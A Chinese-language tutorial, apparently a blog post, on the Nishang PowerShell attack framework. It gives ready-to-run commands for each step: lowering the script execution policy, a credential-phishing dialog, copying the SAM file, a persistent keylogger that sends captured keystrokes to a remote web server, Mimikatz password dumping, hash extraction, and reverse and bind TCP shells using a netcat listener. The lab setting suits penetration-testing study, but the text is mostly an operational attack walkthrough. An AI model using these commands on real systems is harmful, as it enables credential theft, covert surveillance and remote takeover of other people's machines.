Powershell---Nishang工具简介

Powershell—Nishang工具简介

1. Nishang简介及安装

   Nishang是一款针对Powershell的渗透工具。他基于Powershell的渗透测试专用工具，集成了框架、脚本和各种Payload，包括了下载和执行、键盘记录、DNS、延时命令等脚本，被广泛应用于渗透测试是的各个阶段。

Nishang的安装
下载地址：https://github.com/samratashok/nishang
Nishang要在Powershell 3.0以上的环境中才可以正常使用，也就是说在Windows7下默认是有点小问题的，因为win7下自带的环境是PowerShell 2.0。
首先，打开Poweshell界面，如果大家不知道自己的PowerShell环境是多少的版本，可以使用Get-Host命令来查看当前的版本。建议使用windows 10测试。

get-host

将之前下载好的zip文件解压，然后在Powershell中进入该文件路径下，加载该脚本。

 Import-Module ./nishang.psm1

这是因为我们Powershell的默认的执行策略是Restricted的，而Restricted是不允许任何脚本运行的，我们可以使用下面的命令来来查看当前的执行策略：

Get-ExecutionPolicy

我们需要将执行模式改为RemoteSigned，这样就可以执行其他用户的脚本了：

set-executionpolicy remotesigned //需要管理员状态才可以修改

再次加载脚本，在导入模块的时候会有警告提示，这里其实已经导入成功了，警告无需理会。
导入成功之后输入get-command -module nishang命令来查看Nishang都有哪些模块。

模块及其对应功能：

2.Nishang模块攻击实战
主要有以下几个模块（1）Checck-VM

Check-VM

（2）Invoke-CredentialsPhish

invoke-credentialsphish

该脚本功能强大，只有你输入正确的账号密码才能关闭对话框，不然只能强制结束进程。
运行成功后可以获取账号密码。
（3）Copy-VSS

Copy-VSS //将会直接把Sam文件保存在当前路径下
Copy-VSS -DestinationDir C:\Temp //指定保存sam文件的路径

（4）FireBuster FireListener扫描器
用于对内网进行扫描，打开本地监听，然后远程传送数据，把包发给FireListener。
首先，在本机输入

FireListener 130-150

再在目标机输入

FireBuster 169.254.52.67 130-150 -Verbose

（5）Keylogger（键盘记录）

Get-Help .\Gather\Keylogger.ps1 -Full

通过帮助文件查看该模块的命令执行方式

可以看到有四种执行方式

PS > .Keylogger.ps1 //直接以这种方式来运行，键盘记录会保存在当前用户的Temp目录下key文件中
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串，如果存在的话就停止使用记录。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > .Keylogger.ps1 -persist //实现持久化记录（重启后依然进行记录）

以方式一为例：

执行命令.\Gather\Keylogger.ps1之后，默认会在Temp目录生成一个key.log文件。
之后在输入命令Parse_Keys C:\Users\17621\AppData\Local\Temp\key.log .parsed.txt
命令中间是key.log所在文件夹

最后解析后的案件记录会保存在.parsed.txt文件中
（6）Invoke-Mimikatz（抓取密码）

 Invoke-Mimikatz -DumpCreds

（7）Get-PassHashes（获取Hash值）

 Get-PassHashes

（8）获取用户的密码提示信息

Get-PassHints

3. Powershell 隐藏通信隧道
   （1）基于TCP协议的PowerShell交互式shell

反向连接
打开虚拟机，进入kail，在终端使用nc监听3333端口

nc -lvp 3333

然后在目标机Poweshell中输入

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.249.128 -Port 3333

正向连接
现在目标机PowerShell中输入

Invoke-PowerShellTcp -Bind -Port 3333

然后在nc下执行命令

nc -nv 169.254.52.67 3333

参考：
https://www.cnblogs.com/micr067/p/11746225.html